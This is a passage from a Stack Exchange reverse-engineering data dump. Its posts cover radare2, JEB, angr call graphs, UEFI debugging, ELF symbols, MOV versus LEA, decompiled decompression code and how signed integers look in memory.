  <row Id="23271" PostTypeId="2" ParentId="16081" CreationDate="2020-02-16T16:12:28.407" Score="3" Body="&lt;p&gt;You can use angr-utils in order to generate the graph from angr : &lt;a href=&quot;https://github.com/axt/angr-utils&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/axt/angr-utils&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;For more information please see:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/axt/angr-utils/blob/master/examples/plot_cg/README.md&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/axt/angr-utils/blob/master/examples/plot_cg/README.md&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ca0T3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ca0T3.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27539" LastEditorUserId="2395" LastEditDate="2021-12-26T00:24:37.620" LastActivityDate="2021-12-26T00:24:37.620" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23274" PostTypeId="1" CreationDate="2020-02-17T04:59:07.170" Score="1" ViewCount="185" Body="&lt;p&gt;I've been playing around with the &lt;a href=&quot;https://www.pnfsoftware.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;JEB decompiler&lt;/a&gt; and Android reverse engineering suite. One interesting feature they have is deobfuscation by &lt;a href=&quot;https://www.pnfsoftware.com/blog/jeb-library-code-matching-for-android/&quot; rel=&quot;nofollow noreferrer&quot;&gt;library code matching&lt;/a&gt; in which 3rd party libraries out there (written in Java) which have been obfuscated are recognized and matched with the original library names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the plugin allows custom parameters to fine tune the accuracy of detection&#xA;. I still cant wrap my head around and understand how the option and parameters work? Could any Java language experts explain and give examples? Im using JEB 3.7&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xXjDM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xXjDM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9782" LastEditorUserId="9782" LastEditDate="2020-02-17T07:31:38.090" LastActivityDate="2020-02-17T07:31:38.090" Title="JEB Decompiler - Signature recognition engine" Tags="|decompilation|android|java|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23275" PostTypeId="1" CreationDate="2020-02-17T14:29:28.197" Score="1" ViewCount="3010" Body="&lt;p&gt;I have a &lt;code&gt;.so&lt;/code&gt; file from an android app, and I know how to list all functions in &lt;code&gt;IDA Pro&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do this with &lt;code&gt;radare2&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="31135" LastEditorUserId="31278" LastEditDate="2020-02-18T09:07:20.667" LastActivityDate="2020-04-06T10:02:30.360" Title="Reverse engineer .so file from android app with radare2" Tags="|disassembly|radare2|arm|shared-object|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23276" PostTypeId="2" ParentId="23275" CreationDate="2020-02-17T15:02:18.513" Score="0" Body="&lt;p&gt;I'd recommend you to use &lt;a href=&quot;https://gist.github.com/williballenthin/6857590dab3e2a6559d7&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; or &lt;a href=&quot;https://radare.gitbooks.io/radare2book/refcard/intro.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; cheat-sheets for &lt;code&gt;radare2&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the document: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;list functions: afl&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="31278" LastEditorUserId="31278" LastEditDate="2020-02-17T15:07:51.007" LastActivityDate="2020-02-17T15:07:51.007" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23278" PostTypeId="2" ParentId="23270" CreationDate="2020-02-17T18:00:38.167" Score="2" Body="&lt;p&gt;IIRC on Linux GDT is separate for each processor so you’re probably seeing the addresses for different processors.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-02-17T18:00:38.167" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23281" PostTypeId="1" CreationDate="2020-02-18T03:20:28.453" Score="0" ViewCount="523" Body="&lt;p&gt;New to this so here we go.  I want to reverse engineer a x86-64 desktop UEFI to add hardware support.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since I have the actual hardware available, are there debug interfaces that run via actual hardware &amp;amp; would produce a better output than say...working through HexRays or OllyDbg?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Along similar lines, are there debuggers than can be fed useful information about the system being emulated? In the case of a UEFI, I'm thinking chipset information, where graphics are coming from, connected components, types of ports, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="30975" LastActivityDate="2020-03-19T09:01:50.210" Title="Debugging UEFI with real hardware?" Tags="|debugging|uefi|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23283" PostTypeId="2" ParentId="23281" CreationDate="2020-02-18T08:55:18.243" Score="1" Body="&lt;p&gt;The ideal option is to use a hardware debugger like Intel XDP or Arium, however they are very expensive, available only under NDA and generally require special development boards with populated debug port.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the recent platforms, there is a lightweight option of DCI (Direct Connect Interface) available via the USB3 port. In theory it again requires (a little more affordable) Intel hardware like &lt;a href=&quot;https://designintools.intel.com/Silicon_View_Technology_Closed_Chassis_Adapter_p/itpxdpsvt.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;Closed Chasssis Adapter&lt;/a&gt; but some people figured out how to enable it on consumer hardware using &lt;a href=&quot;https://gist.github.com/eiselekd/d235b52a1615c79d3c6b3912731ab9b2&quot; rel=&quot;nofollow noreferrer&quot;&gt;a regular USB3 cable&lt;/a&gt;. Once enabled, you can debug the hardware on the lowest level using Intel System Studio.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hardware debug alternatives:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the &lt;a href=&quot;https://www.serialice.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;SerialICE project&lt;/a&gt; allows you to emulate firmware in QEMU and forward hardware accesses to the real hardware via serial port to a small stub running on the target machine.&lt;/li&gt;&#xA;&lt;li&gt;the &lt;code&gt;SourceLevelDebugPkg&lt;/code&gt; module &lt;a href=&quot;https://github.com/tianocore/edk2/tree/master/SourceLevelDebugPkg&quot; rel=&quot;nofollow noreferrer&quot;&gt;from EDK2&lt;/a&gt; can, despite the name, be used to debug even firmware without source code info. Follow the &lt;a href=&quot;https://github.com/night199uk/edk2-gdb-server&quot; rel=&quot;nofollow noreferrer&quot;&gt;directions here&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-02-18T08:55:18.243" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23284" PostTypeId="2" ParentId="23260" CreationDate="2020-02-18T12:33:28.303" Score="1" Body="&lt;p&gt;I tried running the same commands as you with the file you provided but it failed in the same way as yours. However with a newer hellow.c as such&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;char hello[] = &quot;Hello World&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with the following commands it worked&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ gcc -c hellow.c&#xA;$ gcc main.c hellow.o -o main&#xA;$ ./main&#xA;Hello World&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are some key differences between &lt;code&gt;hellow.o&lt;/code&gt; and your &lt;code&gt;hello.o&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ nm hellow.o&#xA;0000000000000000 D hello&#xA;$ nm hello.o &#xA;nm: hello.o: no symbols&#xA;$ readelf -s hellow.o&#xA;Symbol table '.symtab' contains 8 entries:&#xA;   Num:    Value          Size Type    Bind   Vis      Ndx Name&#xA;     0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND &#xA;     1: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS hellow.c&#xA;     2: 0000000000000000     0 SECTION LOCAL  DEFAULT    1 &#xA;     3: 0000000000000000     0 SECTION LOCAL  DEFAULT    2 &#xA;     4: 0000000000000000     0 SECTION LOCAL  DEFAULT    3 &#xA;     5: 0000000000000000     0 SECTION LOCAL  DEFAULT    5 &#xA;     6: 0000000000000000     0 SECTION LOCAL  DEFAULT    4 &#xA;     7: 0000000000000000    12 OBJECT  GLOBAL DEFAULT    2 hello&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If we strip &lt;code&gt;hellow.o&lt;/code&gt; it won't work as expected. The file looks like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ xxd hellow.o&#xA;00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............&#xA;00000010: 0100 3e00 0100 0000 0000 0000 0000 0000  ..&amp;gt;.............&#xA;00000020: 0000 0000 0000 0000 9801 0000 0000 0000  ................&#xA;00000030: 0000 0000 4000 0000 0000 4000 0900 0800  ....@.....@.....&#xA;00000040: 4865 6c6c 6f20 576f 726c 6400 0047 4343  Hello World..GCC&#xA;00000050: 3a20 2844 6562 6961 6e20 362e 332e 302d  : (Debian 6.3.0-&#xA;00000060: 3138 2b64 6562 3975 3129 2036 2e33 2e30  18+deb9u1) 6.3.0&#xA;00000070: 2032 3031 3730 3531 3600 0000 0000 0000   20170516.......&#xA;00000080: 0000 0000 0000 0000 0000 0000 0000 0000  ................&#xA;00000090: 0000 0000 0000 0000 0100 0000 0400 f1ff  ................&#xA;000000a0: 0000 0000 0000 0000 0000 0000 0000 0000  ................&#xA;000000b0: 0000 0000 0300 0100 0000 0000 0000 0000  ................&#xA;000000c0: 0000 0000 0000 0000 0000 0000 0300 0200  ................&#xA;000000d0: 0000 0000 0000 0000 0000 0000 0000 0000  ................&#xA;000000e0: 0000 0000 0300 0300 0000 0000 0000 0000  ................&#xA;000000f0: 0000 0000 0000 0000 0000 0000 0300 0500  ................&#xA;00000100: 0000 0000 0000 0000 0000 0000 0000 0000  ................&#xA;00000110: 0000 0000 0300 0400 0000 0000 0000 0000  ................&#xA;00000120: 0000 0000 0000 0000 0a00 0000 1100 0200  ................&#xA;00000130: 0000 0000 0000 0000 0c00 0000 0000 0000  ................&#xA;00000140: 0068 656c 6c6f 772e 6300 6865 6c6c 6f00  .hellow.c.hello.&#xA;00000150: 002e 7379 6d74 6162 002e 7374 7274 6162  ..symtab..strtab&#xA;00000160: 002e 7368 7374 7274 6162 002e 7465 7874  ..shstrtab..text&#xA;00000170: 002e 6461 7461 002e 6273 7300 2e63 6f6d  ..data..bss..com&#xA;00000180: 6d65 6e74 002e 6e6f 7465 2e47 4e55 2d73  ment..note.GNU-s&#xA;00000190: 7461 636b 0000 0000 0000 0000 0000 0000  tack............&#xA;000001a0: 0000 0000 0000 0000 0000 0000 0000 0000  ................&#xA;000001b0: 0000 0000 0000 0000 0000 0000 0000 0000  ................&#xA;000001c0: 0000 0000 0000 0000 0000 0000 0000 0000  ................&#xA;000001d0: 0000 0000 0000 0000 1b00 0000 0100 0000  ................&#xA;000001e0: 0600 0000 0000 0000 0000 0000 0000 0000  ................&#xA;000001f0: 4000 0000 0000 0000 0000 0000 0000 0000  @...............&#xA;00000200: 0000 0000 0000 0000 0100 0000 0000 0000  ................&#xA;00000210: 0000 0000 0000 0000 2100 0000 0100 0000  ........!.......&#xA;00000220: 0300 0000 0000 0000 0000 0000 0000 0000  ................&#xA;00000230: 4000 0000 0000 0000 0c00 0000 0000 0000  @...............&#xA;00000240: 0000 0000 0000 0000 0800 0000 0000 0000  ................&#xA;00000250: 0000 0000 0000 0000 2700 0000 0800 0000  ........'.......&#xA;00000260: 0300 0000 0000 0000 0000 0000 0000 0000  ................&#xA;00000270: 4c00 0000 0000 0000 0000 0000 0000 0000  L...............&#xA;00000280: 0000 0000 0000 0000 0100 0000 0000 0000  ................&#xA;00000290: 0000 0000 0000 0000 2c00 0000 0100 0000  ........,.......&#xA;000002a0: 3000 0000 0000 0000 0000 0000 0000 0000  0...............&#xA;000002b0: 4c00 0000 0000 0000 2e00 0000 0000 0000  L...............&#xA;000002c0: 0000 0000 0000 0000 0100 0000 0000 0000  ................&#xA;000002d0: 0100 0000 0000 0000 3500 0000 0100 0000  ........5.......&#xA;000002e0: 0000 0000 0000 0000 0000 0000 0000 0000  ................&#xA;000002f0: 7a00 0000 0000 0000 0000 0000 0000 0000  z...............&#xA;00000300: 0000 0000 0000 0000 0100 0000 0000 0000  ................&#xA;00000310: 0000 0000 0000 0000 0100 0000 0200 0000  ................&#xA;00000320: 0000 0000 0000 0000 0000 0000 0000 0000  ................&#xA;00000330: 8000 0000 0000 0000 c000 0000 0000 0000  ................&#xA;00000340: 0700 0000 0700 0000 0800 0000 0000 0000  ................&#xA;00000350: 1800 0000 0000 0000 0900 0000 0300 0000  ................&#xA;00000360: 0000 0000 0000 0000 0000 0000 0000 0000  ................&#xA;00000370: 4001 0000 0000 0000 1000 0000 0000 0000  @...............&#xA;00000380: 0000 0000 0000 0000 0100 0000 0000 0000  ................&#xA;00000390: 0000 0000 0000 0000 1100 0000 0300 0000  ................&#xA;000003a0: 0000 0000 0000 0000 0000 0000 0000 0000  ................&#xA;000003b0: 5001 0000 0000 0000 4500 0000 0000 0000  P.......E.......&#xA;000003c0: 0000 0000 0000 0000 0100 0000 0000 0000  ................&#xA;000003d0: 0000 0000 0000 0000                      ........&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14622" LastActivityDate="2020-02-18T12:33:28.303" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23285" PostTypeId="1" CreationDate="2020-02-18T18:54:41.710" Score="9" ViewCount="9377" Body="&lt;p&gt;Looking at an assembly code snippet I see:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lea rax, [rbp-0x50]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which tells me that the &lt;code&gt;rax&lt;/code&gt; register now points to whatever value is in rbp-hex(50).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question. Would I achieve the same result doing this?&lt;/strong&gt; :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov rax, dword ptr [rbp-0x50]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If so, what is the need for the &lt;code&gt;lea&lt;/code&gt; instruction anyways? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your patience as I am diving into 64b assembler.&lt;/p&gt;&#xA;" OwnerUserId="31153" LastActivityDate="2021-01-26T22:07:28.107" Title="What is the difference between MOV and LEA in example?" Tags="|x86-64|assembly|pointer|nasm|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23286" PostTypeId="2" ParentId="23285" CreationDate="2020-02-18T21:33:25.637" Score="3" Body="&lt;p&gt;This is basic. Assume that rpb has a value of 55h (Assembler syntax). then&#xA;&lt;code&gt;lea rax, [rbp-50h]&lt;/code&gt;&#xA;would result in 5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, &lt;code&gt;mov rax, [rbp-50h]&lt;/code&gt; would most probable crash your application, as it would try to read the content of the address 5 and put it into rax.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, the difference is that the first is direct, the second indirect.&#xA;BTW, you can easily try it out yourself!&lt;/p&gt;&#xA;" OwnerUserId="12800" LastActivityDate="2020-02-18T21:33:25.637" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23287" PostTypeId="2" ParentId="23285" CreationDate="2020-02-18T21:38:07.987" Score="2" Body="&lt;p&gt;The difference is that &lt;code&gt;lea&lt;/code&gt; only calculates the address while &lt;code&gt;mov&lt;/code&gt; actually moves the data. If you know C or C++, it’s somewhat similar to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Lea:&lt;code&gt;rax = rbp + 0x50;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Mov: &lt;code&gt;rax = rbp[0x50];&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;(Not equivalent to assembly because of different way of counting)&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-02-18T21:38:07.987" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23288" PostTypeId="1" CreationDate="2020-02-19T00:43:34.147" Score="1" ViewCount="384" Body="&lt;p&gt;I'm trying to find a compression method used in executable file. I tried decompiling it with IDA Pro found a pseudocode of decompression but couldn't compile and use it in my program.&lt;/p&gt;&#xA;&lt;p&gt;Here's pseudocode:&lt;/p&gt;&#xA;&lt;pre class=&quot;lang-c prettyprint-override&quot;&gt;&lt;code&gt;char __cdecl decompress(char *buffer, int a2 /* a2 argument is always 0x989680 */)&#xA;{&#xA;  unsigned __int8 v2; // al&#xA;  unsigned __int8 v3; // al&#xA;  unsigned __int8 v4; // al&#xA;  unsigned __int8 v5; // al&#xA;  FILE *v6; // eax&#xA;  char *v7; // esi&#xA;  int v8; // edi&#xA;  char v9; // al&#xA;  char v10; // bl&#xA;  int v11; // ebx&#xA;  int v12; // ebx&#xA;  int v13; // ebx&#xA;  int v14; // ebx&#xA;  char v16; // [esp+12h] [ebp-Ah]&#xA;  char v17; // [esp+13h] [ebp-9h]&#xA;  int v18; // [esp+14h] [ebp-8h]&#xA;  int v19; // [esp+14h] [ebp-8h]&#xA;  int v20; // [esp+14h] [ebp-8h]&#xA;  int v21; // [esp+14h] [ebp-8h]&#xA;  int v22; // [esp+14h] [ebp-8h]&#xA;  int v23; // [esp+18h] [ebp-4h]&#xA;&#xA;  --tempFile-&amp;gt;_cnt;&#xA;  v23 = 0;&#xA;  if ( tempFile-&amp;gt;_cnt &amp;lt; 0 )&#xA;    v2 = _filbuf(tempFile);&#xA;  else&#xA;    v2 = *tempFile-&amp;gt;_ptr++;&#xA;  --tempFile-&amp;gt;_cnt;&#xA;  v18 = v2 &amp;lt;&amp;lt; 24;&#xA;  if ( tempFile-&amp;gt;_cnt &amp;lt; 0 )&#xA;    v3 = _filbuf(tempFile);&#xA;  else&#xA;    v3 = *tempFile-&amp;gt;_ptr++;&#xA;  --tempFile-&amp;gt;_cnt;&#xA;  v19 = (v3 &amp;lt;&amp;lt; 16) + v18;&#xA;  if ( tempFile-&amp;gt;_cnt &amp;lt; 0 )&#xA;    v4 = _filbuf(tempFile);&#xA;  else&#xA;    v4 = *tempFile-&amp;gt;_ptr++;&#xA;  --tempFile-&amp;gt;_cnt;&#xA;  v20 = (v4 &amp;lt;&amp;lt; 8) + v19;&#xA;  if ( tempFile-&amp;gt;_cnt &amp;lt; 0 )&#xA;    v5 = _filbuf(tempFile);&#xA;  else&#xA;    v5 = *tempFile-&amp;gt;_ptr++;&#xA;  v21 = v5 + v20;&#xA;  if ( --tempFile-&amp;gt;_cnt &amp;lt; 0 )&#xA;    v17 = _filbuf(tempFile);&#xA;  else&#xA;    v17 = *tempFile-&amp;gt;_ptr++;&#xA;  --tempFile-&amp;gt;_cnt;&#xA;  LOBYTE(v6) = (_BYTE)tempFile;&#xA;  if ( tempFile-&amp;gt;_cnt &amp;lt; 0 )&#xA;  {&#xA;    LOBYTE(v6) = _filbuf(tempFile);&#xA;    v16 = (char)v6;&#xA;  }&#xA;  else&#xA;  {&#xA;    v16 = *tempFile-&amp;gt;_ptr++;&#xA;  }&#xA;  v22 = v21 - 10;&#xA;  if ( v22 &amp;lt;= 0 )&#xA;    return (char)v6;&#xA;  v7 = buffer;&#xA;  v8 = a2; // a2 used here&#xA;  while ( 1 )&#xA;  {&#xA;    if ( !(v23 % 2000) )&#xA;      sub_48F780(); // ignore this line&#xA;    ++v23;&#xA;    if ( --tempFile-&amp;gt;_cnt &amp;lt; 0 )&#xA;      v9 = _filbuf(tempFile);&#xA;    else&#xA;      v9 = *tempFile-&amp;gt;_ptr++;&#xA;    --v22;&#xA;    v10 = v9;&#xA;    v6 = (FILE *)(v9 &amp;amp; 0xC0);&#xA;    if ( v6 == (FILE *)192 )&#xA;    {&#xA;      v11 = v10 &amp;amp; 0x3F;&#xA;      if ( v11 &amp;gt;= 0 )&#xA;      {&#xA;        while ( 1 )&#xA;        {&#xA;          if ( --tempFile-&amp;gt;_cnt &amp;lt; 0 )&#xA;          {&#xA;            LOBYTE(v6) = _filbuf(tempFile);&#xA;            *v7 = (char)v6;&#xA;          }&#xA;          else&#xA;          {&#xA;            *v7 = *tempFile-&amp;gt;_ptr;&#xA;            v6 = tempFile;&#xA;            ++v6-&amp;gt;_ptr;&#xA;          }&#xA;          ++v7;&#xA;          if ( !--v8 )&#xA;            return (char)v6;&#xA;          --v22;&#xA;          if ( --v11 &amp;lt; 0 )&#xA;            goto LABEL_50;&#xA;        }&#xA;      }&#xA;      goto LABEL_50;&#xA;    }&#xA;    if ( v6 == (FILE *)128 )&#xA;    {&#xA;      v12 = v10 &amp;amp; 0x3F;&#xA;      if ( v12 &amp;gt;= 0 )&#xA;      {&#xA;        while ( 1 )&#xA;        {&#xA;          LOBYTE(v6) = v16;&#xA;          ++v7;&#xA;          --v8;&#xA;          *(v7 - 1) = v16;&#xA;          if ( !v8 )&#xA;            return (char)v6;&#xA;          if ( --v12 &amp;lt; 0 )&#xA;            goto LABEL_50;&#xA;        }&#xA;      }&#xA;      goto LABEL_50;&#xA;    }&#xA;    if ( v6 != (FILE *)64 )&#xA;      break;&#xA;    v13 = v10 &amp;amp; 0x3F;&#xA;    if ( v13 &amp;gt;= 0 )&#xA;    {&#xA;      do&#xA;      {&#xA;        LOBYTE(v6) = v17;&#xA;        ++v7;&#xA;        --v8;&#xA;        *(v7 - 1) = v17;&#xA;        if ( !v8 )&#xA;          return (char)v6;&#xA;      }&#xA;      while ( --v13 &amp;gt;= 0 );&#xA;    }&#xA;LABEL_50:&#xA;    if ( v22 &amp;lt;= 0 )&#xA;      return (char)v6;&#xA;  }&#xA;  v14 = v10 &amp;amp; 0x3F;&#xA;  if ( --tempFile-&amp;gt;_cnt &amp;lt; 0 )&#xA;    LOBYTE(v6) = _filbuf(tempFile);&#xA;  else&#xA;    LOBYTE(v6) = *tempFile-&amp;gt;_ptr++;&#xA;  --v22;&#xA;  if ( v14 &amp;lt; 0 )&#xA;    goto LABEL_50;&#xA;  while ( 1 )&#xA;  {&#xA;    *v7++ = (char)v6;&#xA;    if ( !--v8 )&#xA;      return (char)v6;&#xA;    if ( --v14 &amp;lt; 0 )&#xA;      goto LABEL_50;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Also I tried &lt;a href=&quot;https://aluigi.altervista.org/mytoolz.htm#signsrch&quot; rel=&quot;nofollow noreferrer&quot;&gt;signsrch&lt;/a&gt;, but it didn't really help. It says:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0055ad05 3051 compression algorithm seen in the game DreamKiller [32.be.12&amp;amp;]&#xA;0055ad08 3050 compression algorithm seen in the game DreamKiller [32.le.12&amp;amp;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Is there a way to compile this pseudocode and use it in my program?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Maybe there's a tool that can determine algorithm by comparing input and output streams?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="31155" LastEditorUserId="31155" LastEditDate="2023-04-06T06:55:02.423" LastActivityDate="2023-04-06T06:55:02.423" Title="Is there a way to identify compression algorithm used in exe file?" Tags="|ida|decompress|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="23289" PostTypeId="1" CreationDate="2020-02-19T03:50:37.760" Score="4" ViewCount="4086" Body="&lt;p&gt;I've been long fascinated with &lt;a href=&quot;https://github.com/0xd4d/dnSpy&quot; rel=&quot;nofollow noreferrer&quot;&gt;dnSpy&lt;/a&gt; and how easily it can reverse engineer .NET apps into a readable C#. So I was wondering if there's a similar tool to RE Windows 10 UWP apps?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, I tried Microsoft Settings app from &lt;code&gt;C:\Program Files\WindowsApps\Microsoft.WindowsStore_12002.1001.1.0_x64__8wekyb3d8bbwe\WinStore.App.exe&lt;/code&gt; in dnSpy and it only gave me basic PE structure:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jTpMU.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jTpMU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14864" LastActivityDate="2020-12-17T06:00:30.037" Title="Is there a tool to reverse engineer UWP apps, similar to dnSpy for .NET?" Tags="|windows-10|dnspy|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23290" PostTypeId="1" CreationDate="2020-02-19T06:47:22.620" Score="0" ViewCount="459" Body="&lt;p&gt;I am looking into making a memory scanner for values an while doing some research I came across this the piece of information that unsigned integers allocate all 8 bits for the number while signed ones save the first bit for the sign&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, how can I distinguish between them in memory?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can interpret the number both ways, but how could I tell if it was meant to be negative or positive?&lt;/p&gt;&#xA;" OwnerUserId="24262" LastActivityDate="2020-02-19T10:17:02.737" Title="signed and unsigned integers as bits in memory" Tags="|binary|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23291" PostTypeId="2" ParentId="23290" CreationDate="2020-02-19T07:25:02.433" Score="0" Body="&lt;p&gt;Short answer - you can't. To interpret memory contents you need to see the structure layout. It could be a float, an integer, a structure, a char array  or even a meaningless value on the border of two structures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Long answer - you don't always have to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About signed values, fundamentally, the system represents negative integers by counting backward and wrapping around - I find this much easier than always having to think about the sign bit. A nice consequence of this model is that all positive values (in signed range) are represented the same way, regardless of signed/ unsigned choice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that if you find a positive value less or equal than (MAX_VALUE / 2 - 1), you can output it without worrying about signed/unsigned values. If you find a number greater than that, it's either that unsigned value or a signed value of (x - MAX_VALUE). MAX_VALUE is the largest unigned integer for your type.&lt;/p&gt;&#xA;" OwnerUserId="31114" LastActivityDate="2020-02-19T07:25:02.433" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23292" PostTypeId="2" ParentId="23289" CreationDate="2020-02-19T08:45:10.503" Score="1" Body="&lt;p&gt;UWP apps are mostly native code unlike .NET apps which use CLR bytecode. Native code is  &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/311/why-are-machine-code-decompilers-less-capable-than-for-example-those-for-the-clr&quot;&gt;much harder to analyze and decompile&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-02-19T08:45:10.503" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23293" PostTypeId="2" ParentId="23290" CreationDate="2020-02-19T10:17:02.737" Score="1" Body="&lt;p&gt;&lt;code&gt;int&lt;/code&gt; is a C level type and doesn't actually exist on a binary level. In a binary level, there are only bytes. What is interesting for you, is how those bytes are treated - if they are treated as unsigned int, signed int, char or any other data type.&lt;/p&gt;&#xA;&lt;p&gt;For example, Let's look at the following ARM assembly sample:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ROM:40061B00                 CMP.W   R1, #0x60&#xA;ROM:40061B04                 BGT     loc_80061B22&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The value in &lt;code&gt;R1&lt;/code&gt; is compared to 0x60. &lt;code&gt;R1&lt;/code&gt; is a register that holds 32-bit (4 bytes) value. The value doesn't have any information about its signedness. But what is important is the operation that done at &lt;code&gt;40061B04&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;From ARM &lt;a href=&quot;http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0473m/dom1359731162080.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;specification&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;HS    Unsigned higher or same&lt;/p&gt;&#xA;&lt;p&gt;GT    Signed greater than&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;So we have a compare at &lt;code&gt;40061B00&lt;/code&gt; and then a decision if to branch to a certain location.&#xA;In our case, the mnemonic is &lt;code&gt;BGT&lt;/code&gt; - meaning that we will branch if the signed comparison is greater than - therefore our &lt;code&gt;R1&lt;/code&gt; treated as signed int. If the instruction was &lt;code&gt;BHS&lt;/code&gt; - the comparison would be unsigned, and the value in 